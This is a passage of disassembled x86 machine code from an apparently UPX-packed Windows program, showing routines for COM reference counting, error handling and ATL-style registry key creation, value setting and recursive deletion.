loc_406FA0:				; CODE XREF: sub_406F5E+5Cj
		pop	ebx
		test	eax, eax
		jnz	short loc_406FC3
		cmp	esi, edi
		jnb	short loc_406FBC
		or	eax, 0FFFFFFFFh
		jmp	short loc_406FC3
; ---------------------------------------------------------------------------


loc_406FAE:				; CODE XREF: sub_406F5E+37j
		mov	cx, bx
		cmp	cx, [eax]
		sbb	eax, eax
		and	eax, 0FFFFFFFEh
		inc	eax
		jmp	short loc_406FA0
; ---------------------------------------------------------------------------


loc_406FBC:				; CODE XREF: sub_406F5E+49j
		xor	eax, eax
		cmp	esi, edi
		setnz	al


loc_406FC3:				; CODE XREF: sub_406F5E+45j
					; sub_406F5E+4Ej
		xor	ecx, ecx
		test	eax, eax
		setl	cl
		pop	edi
		mov	al, cl
		pop	esi
		retn
sub_406F5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406FCF	proc near		; CODE XREF: sub_405F0B+50p
					; sub_405F0B+6Cp

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		sub	esp, 0Ch
		test	ecx, ecx
		ja	short loc_406FE7
		xor	ecx, ecx


loc_406FDE:				; CODE XREF: sub_406FCF+22j
		push	ecx
		call	sub_40B45F
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_406FE7:				; CODE XREF: sub_406FCF+Bj
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 1
		jnb	short loc_406FDE
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		call	sub_40ACB7
		push	offset dword_426E80
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41D4DC
		call	sub_40C03B
		int	3		; Trap to Debugger
sub_406FCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_407019	proc near		; CODE XREF: sub_40B45F+51p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40AD27
		mov	dword ptr [esi], offset	off_41D4DC
		mov	eax, esi
		pop	esi
		retn	4
sub_407019	endp


; =============== S U B	R O U T	I N E =======================================



sub_407031	proc near		; CODE XREF: sub_4069AB+39p
		push	ebx
		push	edi
		xor	ebx, ebx
		mov	[esi+28h], ebx
		lea	edx, [esi+2Ch]
		push	6
		xor	eax, eax
		pop	ecx
		mov	edi, edx
		rep stosd
		mov	eax, dword_41D278
		mov	[edx+18h], bl
		mov	[esi+4], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	[esi+20h], eax
		mov	[esi+48h], ebx
		mov	dword ptr [esi], offset	off_423F04
		mov	dword ptr [esi+24h], offset off_423F1C
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		pop	edi
		mov	eax, esi
		pop	ebx
		retn
sub_407031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40707B	proc near		; CODE XREF: sub_406A3F+39p
		push	ebx
		push	edi
		xor	ebx, ebx
		mov	[esi+28h], ebx
		lea	edx, [esi+2Ch]
		push	6
		xor	eax, eax
		pop	ecx
		mov	edi, edx
		rep stosd
		mov	eax, dword_41D278
		mov	[edx+18h], bl
		mov	[esi+4], ebx
		mov	[esi+14h], ebx
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	[esi+20h], eax
		mov	[esi+48h], ebx
		mov	dword ptr [esi], offset	off_423F5C
		mov	dword ptr [esi+24h], offset off_423F70
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		pop	edi
		mov	eax, esi
		pop	ebx
		retn
sub_40707B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070C5	proc near		; CODE XREF: sub_406B27+75p
					; sub_406CDA+74p
		test	ecx, ecx
		jz	short loc_4070CD
		test	eax, eax
		jnz	short loc_4070D7


loc_4070CD:				; CODE XREF: sub_4070C5+2j
		push	80004005h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_4070D7:				; CODE XREF: sub_4070C5+6j
		mov	eax, [eax]
		mov	[ecx], eax
		test	eax, eax
		jz	short loc_4070E5
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_4070E5:				; CODE XREF: sub_4070C5+18j
		xor	eax, eax
		retn
sub_4070C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070E8	proc near		; CODE XREF: sub_406C2A+22p
		push	0Ch
		mov	eax, offset loc_41C5EA
		call	sub_40C4A0
		mov	ebx, [ebp+8]
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_407104
		mov	eax, 80004003h
		jmp	short loc_407174
; ---------------------------------------------------------------------------


loc_407104:				; CODE XREF: sub_4070E8+13j
		push	38h
		mov	[ebx], esi
		mov	dword ptr [ebp-18h], 8007000Eh
		mov	[ebp-14h], esi
		mov	[ebp-4], esi
		call	sub_40B45F
		pop	ecx
		cmp	eax, esi
		jz	short loc_407128
		mov	esi, eax
		call	sub_404FD0
		mov	esi, eax


loc_407128:				; CODE XREF: sub_4070E8+35j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_40713E
; ---------------------------------------------------------------------------


loc_40712E:				; DATA XREF: UPX0:00427A14o
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_407138
		retn
; ---------------------------------------------------------------------------


loc_407138:				; DATA XREF: sub_4070E8+4Ao
		mov	ebx, [ebp+8]
		mov	esi, [ebp-14h]


loc_40713E:				; CODE XREF: sub_4070E8+44j
		test	esi, esi
		jz	short loc_40716D
		lea	edi, [esi+1Ch]
		mov	ecx, edi
		call	sub_401154
		test	eax, eax
		jl	short loc_407154
		mov	byte ptr [edi+18h], 1


loc_407154:				; CODE XREF: sub_4070E8+66j
		mov	edi, eax
		test	eax, eax
		jl	short loc_40715C
		xor	edi, edi


loc_40715C:				; CODE XREF: sub_4070E8+70j
		test	edi, edi
		jz	short loc_407170
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax+1Ch]
		xor	esi, esi
		jmp	short loc_407170
; ---------------------------------------------------------------------------


loc_40716D:				; CODE XREF: sub_4070E8+58j
		mov	edi, [ebp-18h]


loc_407170:				; CODE XREF: sub_4070E8+76j
					; sub_4070E8+83j
		mov	[ebx], esi
		mov	eax, edi


loc_407174:				; CODE XREF: sub_4070E8+1Aj
		call	sub_40C50C
		retn	4
sub_4070E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40717C	proc near		; DATA XREF: UPX0:0042418Co

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405949 SIZE 00000010 BYTES

		sub	[esp+arg_0], 24h
		jmp	loc_405949
sub_40717C	endp

; ---------------------------------------------------------------------------


loc_407186:				; DATA XREF: UPX0:00424150o
		sub	dword ptr [esp+4], 1Ch
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_407190:				; DATA XREF: UPX0:00424074o
		sub	dword ptr [esp+4], 8
		jmp	loc_405949
; ---------------------------------------------------------------------------


loc_40719A:				; DATA XREF: UPX0:004241DCo
		sub	dword ptr [esp+4], 28h
		jmp	loc_405949
; ---------------------------------------------------------------------------


loc_4071A4:				; DATA XREF: UPX0:00424164o
		sub	dword ptr [esp+4], 20h
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_4071AE:				; DATA XREF: UPX0:off_42414Co
		sub	dword ptr [esp+4], 1Ch
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_4071B8:				; DATA XREF: UPX0:004240F0o
		sub	dword ptr [esp+4], 0Ch
		jmp	loc_405949
; ---------------------------------------------------------------------------
		sub	dword ptr [esp+4], 4
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_4071CC:				; DATA XREF: UPX0:00424188o
		sub	dword ptr [esp+4], 24h
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_4071D6:				; DATA XREF: UPX0:off_424160o
		sub	dword ptr [esp+4], 20h
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_4071E0:				; DATA XREF: UPX0:0042411Co
		sub	dword ptr [esp+4], 10h
		jmp	loc_405949
; ---------------------------------------------------------------------------


loc_4071EA:				; DATA XREF: UPX0:00424070o
		sub	dword ptr [esp+4], 8
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_4071F4:				; DATA XREF: UPX0:004241D8o
		sub	dword ptr [esp+4], 28h
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_4071FE:				; DATA XREF: sub_418A96+A9o
		mov	eax, [ecx]
		jmp	dword ptr [eax+14h]
; ---------------------------------------------------------------------------
		sub	dword ptr [esp+4], 4
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_40720D:				; DATA XREF: UPX0:off_424184o
		sub	dword ptr [esp+4], 24h
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_407217:				; DATA XREF: UPX0:00424138o
		sub	dword ptr [esp+4], 14h
		jmp	loc_405949
; ---------------------------------------------------------------------------


loc_407221:				; DATA XREF: UPX0:004240ECo
		sub	dword ptr [esp+4], 0Ch
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_40722B:				; DATA XREF: UPX0:off_42406Co
		sub	dword ptr [esp+4], 8
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_407235:				; DATA XREF: UPX0:off_4241D4o
		sub	dword ptr [esp+4], 28h
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_40723F:				; DATA XREF: UPX0:00424118o
		sub	dword ptr [esp+4], 10h
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_407249:				; DATA XREF: UPX0:off_4240E8o
		sub	dword ptr [esp+4], 0Ch
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_407253:				; DATA XREF: UPX0:00424154o
		sub	dword ptr [esp+4], 1Ch
		jmp	loc_405949

; =============== S U B	R O U T	I N E =======================================



sub_40725D	proc near		; DATA XREF: UPX0:00424144o
		sub	ecx, 38h
		jmp	sub_405EED
sub_40725D	endp

; ---------------------------------------------------------------------------


loc_407265:				; DATA XREF: UPX0:00424134o
		sub	dword ptr [esp+4], 14h
		jmp	loc_405939
; ---------------------------------------------------------------------------


loc_40726F:				; DATA XREF: UPX0:off_424114o
		sub	dword ptr [esp+4], 10h
		jmp	loc_405959
; ---------------------------------------------------------------------------


loc_407279:				; DATA XREF: UPX0:00424168o
		sub	dword ptr [esp+4], 20h
		jmp	loc_405949
; ---------------------------------------------------------------------------


loc_407283:				; DATA XREF: UPX0:off_424130o
		sub	dword ptr [esp+4], 14h
		jmp	loc_405959
; ---------------------------------------------------------------------------
		sub	dword ptr [esp+4], 4
		jmp	loc_405949

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407297	proc near		; CODE XREF: sub_40A2F3+99p
					; sub_40A398+AEp
		call	dword_41D1D8	; RtlGetLastWin32Error
		test	eax, eax
		jle	short loc_4072AB
		and	eax, 0FFFFh
		or	eax, 80070000h


loc_4072AB:				; CODE XREF: sub_407297+8j
		push	eax
		call	sub_4010D8
sub_407297	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_4072B2	proc near		; CODE XREF: sub_407CD3+329p
					; sub_4083DE:loc_408889p ...
		test	eax, eax
		jle	short locret_4072C0
		and	eax, 0FFFFh
		or	eax, 80070000h

locret_4072C0:				; CODE XREF: sub_4072B2+2j
		retn
sub_4072B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4072C1	proc near		; CODE XREF: UPX0:00407406p
					; UPX0:0041C89Bj
		push	ebx
		push	ebp
		mov	ebx, eax
		push	edi
		lea	edi, [ebx+4]
		xor	ebp, ebp
		cmp	[edi], ebp
		jz	short loc_407324
		cmp	[ebx+0Ch], ebp
		jz	short loc_40730B
		cmp	edi, ebp
		jnz	short loc_4072E7
		push	ebp
		push	ebp
		push	1
		push	0C0000005h
		call	dword_41D1DC	; RaiseException


loc_4072E7:				; CODE XREF: sub_4072C1+15j
		push	esi
		mov	esi, [edi+8]
		cmp	esi, ebp
		jz	short loc_407304


loc_4072EF:				; CODE XREF: sub_4072C1+41j
		push	dword ptr [esi+4]
		call	dword ptr [esi]
		mov	ebp, [esi+8]
		push	esi
		call	sub_40AC11
		pop	ecx
		mov	esi, ebp
		test	ebp, ebp
		jnz	short loc_4072EF


loc_407304:				; CODE XREF: sub_4072C1+2Cj
		mov	[edi+8], ebp
		mov	[ebx+0Ch], ebp
		pop	esi


loc_40730B:				; CODE XREF: sub_4072C1+11j
		mov	eax, [ebx+28h]
		cmp	eax, ebp
		jz	short loc_407318
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_407318:				; CODE XREF: sub_4072C1+4Fj
		add	ebx, 10h
		push	ebx
		call	dword_41D1C8	; RtlDeleteCriticalSection
		mov	[edi], ebp


loc_407324:				; CODE XREF: sub_4072C1+Cj
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_4072C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_407328	proc near		; DATA XREF: UPX0:00424BB4o
		add	ecx, 8
		push	ecx
		call	dword_41D21C	; InterlockedIncrement
		retn
sub_407328	endp


; =============== S U B	R O U T	I N E =======================================



sub_407333	proc near		; DATA XREF: UPX0:00424BB8o
		add	ecx, 8
		push	ecx
		call	dword_41D218	; InterlockedDecrement
		retn
sub_407333	endp


; =============== S U B	R O U T	I N E =======================================



sub_40733E	proc near		; DATA XREF: UPX0:00424BBCo
		mov	eax, [ecx+8]
		retn
sub_40733E	endp


; =============== S U B	R O U T	I N E =======================================



sub_407342	proc near		; DATA XREF: UPX0:00424BC0o

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		jnz	short loc_407352
		mov	eax, 80004003h
		jmp	short loc_407387
; ---------------------------------------------------------------------------


loc_407352:				; CODE XREF: sub_407342+7j
		push	esi
		push	edi
		xor	edi, edi
		lea	esi, [ecx+28h]
		cmp	[esi], edi
		jnz	short loc_407377
		push	esi
		push	offset dword_424CE4
		push	1
		push	edi
		push	offset dword_41D450
		call	dword_41D398
		mov	edi, eax
		test	edi, edi
		jl	short loc_407383


loc_407377:				; CODE XREF: sub_407342+19j
		mov	eax, [esi]
		mov	[ebx], eax
		mov	esi, [esi]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_407383:				; CODE XREF: sub_407342+33j
		mov	eax, edi
		pop	edi
		pop	esi


loc_407387:				; CODE XREF: sub_407342+Ej
		pop	ebx
		retn	4
sub_407342	endp


; =============== S U B	R O U T	I N E =======================================



sub_40738B	proc near		; CODE XREF: sub_4089CE+F7p
					; sub_408BAA+EEp
		push	esi
		push	edi
		mov	esi, eax
		xor	edi, edi
		dec	esi
		jz	short loc_4073BB


loc_407394:				; CODE XREF: sub_40738B+2Ej
		movzx	eax, word ptr [edx]
		test	ax, ax
		jz	short loc_4073BB
		mov	[ecx], ax
		inc	ecx
		inc	ecx
		cmp	word ptr [edx],	27h
		jnz	short loc_4073B4
		inc	edi
		cmp	edi, esi
		jnb	short loc_4073B4
		push	27h
		pop	eax
		mov	[ecx], ax
		inc	ecx
		inc	ecx


loc_4073B4:				; CODE XREF: sub_40738B+1Aj
					; sub_40738B+1Fj
		inc	edx
		inc	edx
		inc	edi
		cmp	edi, esi
		jb	short loc_407394


loc_4073BB:				; CODE XREF: sub_40738B+7j
					; sub_40738B+Fj
		xor	eax, eax
		pop	edi
		mov	[ecx], ax
		pop	esi
		retn
sub_40738B	endp

; ---------------------------------------------------------------------------
		mov	eax, 80004005h
		retn	10h
; ---------------------------------------------------------------------------
		push	dword ptr [esp+0Ch]
		mov	ecx, [esp+14h]
		push	dword ptr [esp+0Ch]
		push	dword ptr [esp+0Ch]
		call	sub_4089CE
		retn	10h
; ---------------------------------------------------------------------------


loc_4073E3:				; DATA XREF: UPX0:00424BD0o
		push	dword ptr [esp+0Ch]
		mov	ecx, [esp+14h]
		push	dword ptr [esp+0Ch]
		push	dword ptr [esp+0Ch]
		call	sub_408BAA
		retn	10h
; ---------------------------------------------------------------------------


loc_4073FB:				; DATA XREF: UPX0:off_424BB0o
		push	esi
		mov	esi, ecx
		mov	eax, esi
		mov	dword ptr [esi], offset	off_424BB0
		call	sub_4072C1
		test	byte ptr [esp+8], 1
		jz	short loc_407419
		push	esi
		call	sub_40AC11
		pop	ecx


loc_407419:				; CODE XREF: UPX0:00407410j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40741F:				; CODE XREF: UPX0:0041C373j
					; UPX0:0041C37Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short locret_40742F
		push	eax
		call	dword_41D000	; RegCloseKey
		and	dword ptr [esi], 0

locret_40742F:				; CODE XREF: UPX0:00407423j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407430	proc near		; CODE XREF: sub_407CD3+188p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_407443
		push	80004005h
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_407443:				; CODE XREF: sub_407430+7j
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		xor	edi, edi


loc_40744A:				; CODE XREF: sub_407430+2Cj
		push	esi
		call	dword_41D1F0	; lstrlenW
		inc	eax
		lea	ecx, [eax+eax]
		add	esi, ecx
		add	edi, ecx
		cmp	eax, 1
		jnz	short loc_40744A
		mov	eax, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		push	7
		push	0
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_41D018	; RegSetValueExW
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_407430	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40747A	proc near		; CODE XREF: sub_40747A+B3p
					; sub_4083DE+F6p ...

var_228		= byte ptr -228h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 228h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		push	edi
		lea	edx, [ebp+var_214]
		push	edx
		push	2001Fh
		mov	eax, ecx
		mov	ecx, [ebp+arg_0]
		xor	esi, esi
		push	esi
		mov	[ebp+var_220], eax
		mov	eax, [eax]
		push	ecx
		push	eax
		mov	[ebp+var_21C], ecx
		mov	[ebp+var_210], esi
		mov	[ebp+var_214], esi
		call	dword_41D010	; RegOpenKeyExW
		mov	ebx, dword_41D000
		mov	edi, eax
		cmp	edi, esi
		jnz	loc_407597
		xor	eax, eax
		cmp	[ebp+var_210], esi
		jz	short loc_4074E8
		push	[ebp+var_210]
		call	ebx ; dword_41D000


loc_4074E8:				; CODE XREF: sub_40747A+64j
		mov	ecx, [ebp+var_214]
		mov	edi, eax
		mov	[ebp+var_210], ecx
		cmp	eax, esi
		jnz	loc_407597
		mov	edi, dword_41D014
		lea	eax, [ebp+var_228]
		push	eax
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		push	esi
		push	ecx
		jmp	short loc_40755B
; ---------------------------------------------------------------------------


loc_407520:				; CODE XREF: sub_40747A+EFj
		lea	eax, [ebp+var_20C]
		push	eax
		lea	ecx, [ebp+var_210]
		call	sub_40747A
		mov	[ebp+var_214], eax
		cmp	eax, esi
		jnz	short loc_4075BA
		lea	eax, [ebp+var_228]
		push	eax
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		push	esi
		push	[ebp+var_210]


loc_40755B:				; CODE XREF: sub_40747A+A4j
		mov	[ebp+var_218], 100h
		call	edi ; dword_41D014
		test	eax, eax
		jz	short loc_407520
		cmp	[ebp+var_210], esi
		jz	short loc_407581
		push	[ebp+var_210]
		call	ebx ; dword_41D000
		mov	[ebp+var_210], esi


loc_407581:				; CODE XREF: sub_40747A+F7j
		push	[ebp+var_21C]
		mov	eax, [ebp+var_220]
		push	dword ptr [eax]
		call	dword_41D008	; RegDeleteKeyW
		mov	edi, eax


loc_407597:				; CODE XREF: sub_40747A+56j
					; sub_40747A+7Ej
		cmp	[ebp+var_210], esi
		jz	short loc_4075A7
		push	[ebp+var_210]
		call	ebx ; dword_41D000


loc_4075A7:				; CODE XREF: sub_40747A+123j
		mov	eax, edi


loc_4075A9:				; CODE XREF: sub_40747A+156j
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_40747A+C0j
		cmp	[ebp+var_210], esi
		jz	short loc_4075CA
		push	[ebp+var_210]
		call	ebx ; dword_41D000


loc_4075CA:				; CODE XREF: sub_40747A+146j
		mov	eax, [ebp+var_214]
		jmp	short loc_4075A9
sub_40747A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4075D2	proc near		; CODE XREF: sub_40783F+3Dp
		push	20h
		mov	eax, offset loc_41C3C1
		call	sub_40C4A0
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		jz	loc_4076F2
		cmp	[ebp+10h], edi
		jz	loc_4076F2
		push	dword ptr [ebp+0Ch]
		mov	[ebp-1Ch], edi
		call	dword_41D1F0	; lstrlenW
		push	2
		lea	eax, [eax+eax+2]
		xor	ecx, ecx
		pop	esi
		mov	[ebp-20h], eax
		mov	edx, esi
		mul	edx
		seto	cl
		mov	[ebp-14h], edi
		mov	[ebp-4], edi
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40AC06
		pop	ecx
		mov	[ebp-14h], eax
		jmp	short loc_407632
; ---------------------------------------------------------------------------


loc_407627:				; DATA XREF: UPX0:00427634o
		mov	eax, offset loc_40762D
		retn
; ---------------------------------------------------------------------------


loc_40762D:				; DATA XREF: sub_4075D2:loc_407627o
		push	2
		xor	edi, edi
		pop	esi


loc_407632:				; CODE XREF: sub_4075D2+53j
		push	dword ptr [ebp+10h]
		mov	[ebp-4], esi
		mov	eax, [ebp-14h]
		mov	[ebp-2Ch], eax
		call	dword_41D1F0	; lstrlenW
		lea	eax, [eax+eax+2]
		xor	ecx, ecx
		mov	[ebp-24h], eax
		mov	edx, esi
		mul	edx
		seto	cl
		mov	[ebp-18h], edi
		mov	byte ptr [ebp-4], 3
		neg	ecx
		or	ecx, eax
		push	ecx
		call	sub_40AC06
		pop	ecx
		mov	[ebp-18h], eax
		mov	[ebp-4], esi
		jmp	short loc_40767D
; ---------------------------------------------------------------------------


loc_40766E:				; DATA XREF: UPX0:00427644o
		mov	dword ptr [ebp-4], 2
		mov	eax, offset loc_40767B
		retn
; ---------------------------------------------------------------------------


loc_40767B:				; DATA XREF: sub_4075D2+A3o
		xor	edi, edi


loc_40767D:				; CODE XREF: sub_4075D2+9Aj
		mov	byte ptr [ebp-4], 5
		mov	esi, [ebp-18h]
		mov	[ebp-28h], esi
		cmp	[ebp-14h], edi
		jz	short loc_4076C7
		cmp	esi, edi
		jz	short loc_4076C7
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-14h]
		call	sub_401125
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-24h]
		push	esi
		call	sub_401125
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esp, 20h
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_40A1BD
		test	eax, eax
		jnz	short loc_4076D0


loc_4076C7:				; CODE XREF: sub_4075D2+B8j
					; sub_4075D2+BCj
		mov	dword ptr [ebp-1Ch], 8007000Eh
		jmp	short loc_4076D6
; ---------------------------------------------------------------------------


loc_4076D0:				; CODE XREF: sub_4075D2+F3j
		mov	[ebp-2Ch], edi
		mov	[ebp-28h], edi


loc_4076D6:				; CODE XREF: sub_4075D2+FCj
		push	dword ptr [ebp-28h]
		call	sub_40B36B
		push	dword ptr [ebp-2Ch]
		call	sub_40B36B
		xor	eax, eax
		cmp	[ebp-1Ch], edi
		pop	ecx
		pop	ecx
		setnl	al
		jmp	short loc_4076F4
; ---------------------------------------------------------------------------


loc_4076F2:				; CODE XREF: sub_4075D2+11j
					; sub_4075D2+1Aj
		xor	eax, eax


loc_4076F4:				; CODE XREF: sub_4075D2+11Ej
		call	sub_40C50C
		retn	0Ch
sub_4075D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4076FC	proc near		; CODE XREF: sub_4077EF+28p
					; sub_407A4C+13p
		push	esi
		mov	esi, eax
		mov	eax, [esi+8]
		push	edi
		xor	edi, edi
		test	eax, eax
		jle	short loc_407735


loc_407709:				; CODE XREF: sub_4076FC+37j
		test	edi, edi
		jl	short loc_40773F
		cmp	edi, eax
		jge	short loc_40773F
		mov	eax, [esi]
		push	dword ptr [eax+edi*4]
		call	sub_40B36B
		pop	ecx
		mov	eax, edi
		mov	ecx, esi
		call	sub_40A246
		push	dword ptr [eax]
		call	sub_40B36B
		mov	eax, [esi+8]
		inc	edi
		cmp	edi, eax
		pop	ecx
		jl	short loc_407709


loc_407735:				; CODE XREF: sub_4076FC+Bj
		call	sub_40A21F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40773F:				; CODE XREF: sub_4076FC+Fj
					; sub_4076FC+13j
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	dword_41D1DC	; RaiseException
		int	3		; Trap to Debugger


loc_407751:				; CODE XREF: UPX0:0041C64Ej
		push	dword ptr [eax+8]
		call	dword_41D39C
		retn
sub_4076FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40775B	proc near		; CODE XREF: sub_4080FF+A7p
					; sub_4080FF+13Ep

arg_0		= dword	ptr  4

		mov	eax, [esi]
		lea	ecx, [eax+edi+1]
		cmp	ecx, eax
		jle	short loc_4077E4
		cmp	ecx, edi
		jle	short loc_4077E4
		cmp	ecx, [esi+4]
		jl	short loc_4077A3


loc_40776E:				; CODE XREF: sub_40775B+24j
		mov	eax, [esi+4]
		cmp	eax, 3FFFFFFFh
		jg	short loc_4077E4
		add	eax, eax
		cmp	ecx, eax
		mov	[esi+4], eax
		jge	short loc_40776E
		mov	ecx, [esi+8]
		push	2
		pop	edx
		mul	edx
		test	edx, edx
		ja	short loc_4077E4
		jb	short loc_407794
		cmp	eax, 0FFFFFFFFh
		ja	short loc_4077E4


loc_407794:				; CODE XREF: sub_40775B+32j
		push	eax
		push	ecx
		call	dword_41D3C4
		test	eax, eax
		jz	short loc_4077E4
		mov	[esi+8], eax


loc_4077A3:				; CODE XREF: sub_40775B+11j
		mov	eax, [esi]
		test	eax, eax
		jl	short loc_4077E4
		mov	edx, [esi+4]
		cmp	eax, edx
		jge	short loc_4077E4
		mov	ecx, edx
		sub	ecx, eax
		cmp	ecx, edx
		jg	short loc_4077E4
		lea	edx, [edi+edi]
		push	edx
		push	[esp+4+arg_0]
		add	ecx, ecx
		push	ecx
		mov	ecx, [esi+8]
		lea	eax, [ecx+eax*2]
		push	eax
		call	sub_401125
; ---------------------------------------------------------------------------
		add	[esi], edi
		mov	eax, [esi]
		mov	ecx, [esi+8]
		xor	edx, edx
		mov	[ecx+eax*2], dx
		xor	eax, eax
		add	esp, 10h
		inc	eax
		jmp	short locret_4077E6
; ---------------------------------------------------------------------------


loc_4077E4:				; CODE XREF: sub_40775B+8j
					; sub_40775B+Cj ...
		xor	eax, eax

locret_4077E6:				; CODE XREF: sub_40775B+87j
		retn	4
sub_40775B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077E9	proc near		; DATA XREF: UPX0:00424BE0o
		xor	eax, eax
		inc	eax
		retn	4
sub_4077E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077EF	proc near		; CODE XREF: sub_407823+3p
					; sub_4089CE+6Cp ...
		push	esi
		mov	esi, ecx
		push	esi
		mov	dword ptr [esi], offset	off_424BDC
		call	sub_407A4C
		lea	eax, [esi+10h]
		cmp	byte ptr [eax+18h], 0
		jz	short loc_407812
		push	eax
		mov	byte ptr [eax+18h], 0
		call	dword_41D1C8	; RtlDeleteCriticalSection


loc_407812:				; CODE XREF: sub_4077EF+16j
		add	esi, 4
		mov	eax, esi
		call	sub_4076FC
		call	sub_40A21F
		pop	esi
		retn
sub_4077EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_407823	proc near		; DATA XREF: UPX0:00424BF0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4077EF
		test	[esp+4+arg_0], 1
		jz	short loc_407839
		push	esi
		call	sub_40AC11
		pop	ecx


loc_407839:				; CODE XREF: sub_407823+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_407823	endp


; =============== S U B	R O U T	I N E =======================================



sub_40783F	proc near		; CODE XREF: sub_4089CE+95p
					; sub_4089CE+174p ...
		push	0
		mov	eax, offset loc_41C5CF
		call	sub_40C46D
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_40789E
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_40789E
		mov	esi, [ebp+8]
		lea	edi, [esi+10h]
		push	edi
